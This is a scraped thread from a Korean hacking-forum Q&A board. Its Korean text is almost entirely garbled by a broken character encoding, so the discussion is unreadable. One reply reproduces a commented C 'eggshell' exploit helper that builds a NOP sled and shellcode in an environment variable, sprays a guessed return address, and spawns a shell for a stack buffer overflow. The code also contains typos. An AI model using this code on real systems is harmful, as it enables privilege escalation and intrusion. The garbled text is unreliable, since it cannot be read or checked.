|
|
|
|
|
|
|
|
|
|
|
|
|
1574, 8/79 |
|
bluesun2 | |||||||
ҽ ؼ Ź帳ϴ ( ̾ ε..) | |||||||
http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1451 []
Hit : 3368 Date : 2010/12/13 05:49
|
|||||||
ٺ | ۸ 0 ʱȭ, Է Ƽ ״ ϴ α̳ Ʈ ΰ ؿ ڵ带 ȯ溯 ÷ ȯ溯 ּҵ ȯ溯 ÷ αԴϴ |
2010/12/17 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
sweetick | űѰ ° б ִٴ . | 2011/01/16 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
rkdgh0112 | Ϲ ڵѵ.. ̰¥ ʰ 迡 |
2011/02/11 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
rkdgh0112 | ڵ δ غôµ ׳ ؼ 帱 dzʶٰ ణ ų ߿Ѱ unnsigned long get_esp (void) { // get_esp Լ Դϴ. __asm__("movl %esp, %eax") //.. %esp %eax ִ°ɷκ̳ main (int argc, char *argv[]) { //Լ char *buff, *ptr, *egg; // buff, ptr,egg char char ϴ = ʹ ּұ 16 ڿ ڿ ǥȴ. long *addr_ptr, addr; // long addr int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; // offset̶ default , bsize default int i, eggsize=DEFAULT_EGG_SIZE; // i eggsize ÿ eggsize default_egg_size ؿ ϱ, if , else if, else Ѱϰ쿡 ߰ȣ Ҽ if (argc > 1) bsize = atoi (argv[ 1]); if (argc > 2) offset = atoi (argv[ 2]); if (argc > 3) eggsize = atoi (argv[ 3]); if (!(buff = malloc(bsize))) { printf ("can't allocate memory.\n"); exit (0); } ̰ Է 1, 2, 3϶ Ȳ ø ѰԴϴ. ᱹ Է 1̸̻ 2̻ 3̻ malloc(bsize) bsize Ҵ ð buff , can't allocate momory ϵ س. Լdz 0ȯմϴ. if (!(egg = malloc(eggsize))) { printf("can't allocate memory.\n"); exit (0); } egg eggsize Ҵ ø . addr = get_esp() - offset; printf("using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++_ = addr; ptr = egg; for (i = 0; i < eggsize - strlen (shellcode) - 1; i++) * (ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[ i]; buff[bsize - 1] = '\0'; egg[ eggsize - 1] = '\0'; memcpy (egg, "EGG=", 4); putenv (egg); memcpy (buff, "RET=", 4); putenv (buff); system("/bin/bash"); } |
2011/02/11 | |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
rkdgh0112 | addr = get_esp() - offset κкʹ ۼҲ.. ڶ ȭ .. Ʋ ֽñ ᱹ α Դϴ. |
2011/02/11 | |
|
|
|
|
|